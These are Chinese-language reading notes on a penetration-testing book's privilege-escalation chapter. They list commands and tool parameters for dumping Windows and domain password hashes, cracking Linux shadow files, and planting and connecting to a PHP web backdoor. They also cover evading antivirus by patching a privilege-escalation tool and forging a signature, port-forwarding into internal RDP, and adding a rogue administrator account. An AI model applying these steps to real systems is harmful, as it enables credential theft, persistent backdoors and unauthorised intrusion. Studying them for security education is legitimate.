网络攻防实战研究 漏洞利用与提权读书笔记一
- 第一章 提权基础
- 1.1提权概述
- 1.1.1提权简介
- 1.1.2 提权条件
- 1.1.3 提权准备工作
- 1.1.4 实施提权
- 1.2 Windows账号和密码获取与破解
- 1.2.1 使用GetHashes获取Windows系统密码Hash值
- 1.2.1 使用gsedump获取Windows系统密码
- 1.2.3使用PwDump获取域控密码
- 1.2.5 使用SAMinside获取及破解Windows系统密码
- 1.3 使用John the Ripper 破解Linux密码(Kali)
- 1.4 Linux提权辅助工具Linux Exploit Suggester
- 1.5 PHP WeBaCoo后门(kali)
- 1.5.2 使用方法
- 1.5.3 参数详解
- 1.5.4 使用实例
- 1.6对提权工具PR的免杀
- 1.6.1 什么是PR
- 1.6.2 如何对提权工具进行免杀
- 1.6.3 加壳软件 VMProtect Ultimate
- 1.7 通过LCX端口转发实现内网突破
- 1.7.1 确定被控制计算机的IP地址
- 1.7.2 在本机上设置监听地址
- 1.7.3 在目标主机上实现端口转发
- 1.7.4 远程连接本主机的10000端口
- 1.8 使用SocksCap进行内网突破
- 1.9 Windows系统提权基础命令
- 1.9.1 获取IP地址信息
- 1.9.2 获取端口信息
- 1.9.3 获取服务信息和进程信息
- 1.9.4 进程结束命令
- 1.9.5 用户管理命令
- 1.9.6 开启3389端口
第一章 提权基础
1.1提权概述
1.1.1提权简介
提权分为直接提权和间接提权,也可以分为本地提权和远程提权
本地提权漏洞是指一个本来权限非常低、操作受限制的用户,通过某种条件(例如,通过应用程序漏洞或系统漏洞)直接提升到系统最高权限。
远程提权是指黑客或者攻击者通过漏洞利用程序,直接获取远程服务器的权限(在远程服务器上必须存在漏洞且未修补或者修补未成功)
提权又分为操作系统提权和应用程序提权。
1.1.2 提权条件
内网普通用户权限、拥有webshell、拥有FTP权限、拥有某些远程管理软件的账号和密码,同时在本地或者远程服务器上存在响应的漏洞
1.1.3 提权准备工作
(1)目标服务器信息的收集
例如在有webshell等的情况下执行命令获取Windows操作系统的信息。
脚本
(1)systeminfo:获取操作系统类型、版本、位数等信息
(2)Ifconfig/all:获取是否为独立IP地址、DNS、计算机名称等信息
(3)Net user:当前用户信息
(4)Whoami:当前用户权限
(5)Netstat -an:当前端口开放情况
(2)准备提权服务器的漏洞补丁情况收集
脚本
(3)准备提取0day及其他相关工具
针对当前操作系统准备32位或64位提权0day。针对当前操作系统应用程序准备提权0day。准备获取密码的Hash工具,并对0day及相关工具进行免杀处理和测试
(4)寻找服务器可写目录
1.1.4 实施提权
(1)上传或者下载提权0day和相关工具
(2)执行0day进行提权尝试
(3)获取系统权限及操作系统的密码
1.2 Windows账号和密码获取与破解
1.2.1 使用GetHashes获取Windows系统密码Hash值
详细可以参见:
用GetHashes软件获取Windows系统Hash密码值.pdf
GetHashes下载地址:
gethashes.exe
1.2.1 使用gsedump获取Windows系统密码
gsecdump下载地址:
gescdump.exe
gsecdump参数:
-h:显示帮助信息
-a:获取所有密码信息
-s:从SAM和域控中获取Hash值
-l:获取LSA信息,基本没用
-u:获取活动的登录hash值,即当前登录用户的Hash值
-w:获取无线密码
-s:强制评估版本为系统版本
使用-a参数:
使用-u参数
1.2.3使用PwDump获取域控密码
命令参数:
-dhl:导出本地Hash值
-dhdc:导出内存中的域控Hash值
-dhd:导出域控Hash值,必须制定NTDS文件
-db:导出Bitlocker信息,必须制定NTDS文件
-nt:导出ntds文件
-hist:导出历史信息,可选项
-t:导出类型,可选项,默认导出John类型
-o:导出文件到本地
2.导出本地hash
1.2.5 使用SAMinside获取及破解Windows系统密码
下载地址:
saminside2.7
利用gethashes.exe获取hash值并输入文本,然后pwdump导入
1.3 使用John the Ripper 破解Linux密码(Kali)
1.john的4中破解模式
(1)字典文件破解模式
(2)简单破解模式
(3)增强破解模式
(4)外挂破解模式
2.破解前的准备
使用unshadow /etc/passwd /etc/shadow > ~/file_to_crack
合成一个文件,然后放入john的run目录下面
3.使用john破解
1.4 Linux提权辅助工具Linux Exploit Suggester
一款根据操作系统版本号自动查找相应提权脚本的工具。
工具下载地址
1.运行结果截图
1.5 PHP WeBaCoo后门(kali)
一款隐蔽的脚本类Web后门工具.它借助HTTP协议在客户端和Web服务器之间实现了代码的网页终端。
1.5.2 使用方法
1.操作模式
有生成模式和终端模式
生成模式,指定“-g”选项,可以创建一个包含PHP有效载荷的后门代码
远程终端模式.指定"-t"选项,可以连接受感染的服务器(其中后门PHP代码已经被注入)
1.5.3 参数详解
Cm:以Base64编码的Shell指令
Cn:加载编码后输出的内容Cookie名称
Cp:封装编码后输入内容的分隔符
-f function:使用PHP系统函数system、shell_exec、passthru、popen
-g:制作后门代码
-o:指定生成的后门程序文件名
-u url:后门URL地址
-e cmd:单独命令执行模式,需要加"-t"和"-u"参数
-m method:使用HTTP方式,默认为"GET"
-c C_NAME:Cookie名字,默认为"M-cookie"
1.5.4 使用实例
(1)生成后门
(2)参考后门代码文件内容
(3)连接后门
webacoo -t -u http://192.168.0.102/backdoor.php
1.6对提权工具PR的免杀
1.6.1 什么是PR
PR是指提权Windows跟踪注册表项的ACL权限提升漏洞。
1.6.2 如何对提权工具进行免杀
pr.exe程序下载地址:
pr.exe
1.获取文件信息
使用PEID对程序进行检测
2.更改PR文件的MD5值
(1)定位并修改字符串
用C32ASM将PR文件以HEX(十六进制)方式打开,定位字符串".DLL",将其填充为"00"。
(2)修改PR文件,增加数字签名
预处理完成后,对引擎逐一进行测试(同时开启多个引擎会干扰免杀的针对性)
3.QVM人工智能引擎用于扫描检测用户计算机中的恶意程序。
4.绕过QVMII引擎
将".DLL"填充为"00"后,利用数字签名添加工具以360杀毒为签名样本进行伪造签名操作。
5.对BitDefender杀毒引擎的免杀处理
6.绕过小红伞引擎
1.6.3 加壳软件 VMProtect Ultimate
1.7 通过LCX端口转发实现内网突破
参考文章:
https://blog.csdn.net/stonesharp/article/details/56834347
1.7.1 确定被控制计算机的IP地址
1.7.2 在本机上设置监听地址
lcx -listen 5000 10000
1.7.3 在目标主机上实现端口转发
lcx -salve 192.168.253.132 5000 192.168.253.131:3389
1.7.4 远程连接本主机的10000端口
使用mstsc命令
远程连接服务器的主机
1.8 使用SocksCap进行内网突破
1.9 Windows系统提权基础命令
1.9.1 获取IP地址信息
在windows中,ipconfig /all
在linux中,ifconfig -a
1.9.2 获取端口信息
习惯使用netstat -an来获取端口开放的情况
1.9.3 获取服务信息和进程信息
1.获取服务信息
net start查看系统所开启的所有的服务器
net stop servicesname命令停止服务
net start servicesname命令开启服务
2.获取进程信息
通过tasklist /svc命令可以获取运行的进程名称、服务和PID
也可以通过msinfo32命令获取更加详细的进程信息。
1.9.4 进程结束命令
1.taskkill命令
/im /f /pid
2.pskill命令
需要下载pstools
pskill 进程号(或者名字)
1.9.5 用户管理命令
1.添加用户test为管理员
net user test 123456 /add
net localgroup administrators test /add
查看当前系统管理员用户
net localgroup administrators
键入远程桌面用户组‘
net localgroup “Remote Desktop Users” test /add
查看指定用户信息
net user test
2.激活guest用户
net user guest /active:yes
1.9.6 开启3389端口
注:其中有些知识有待研究和补充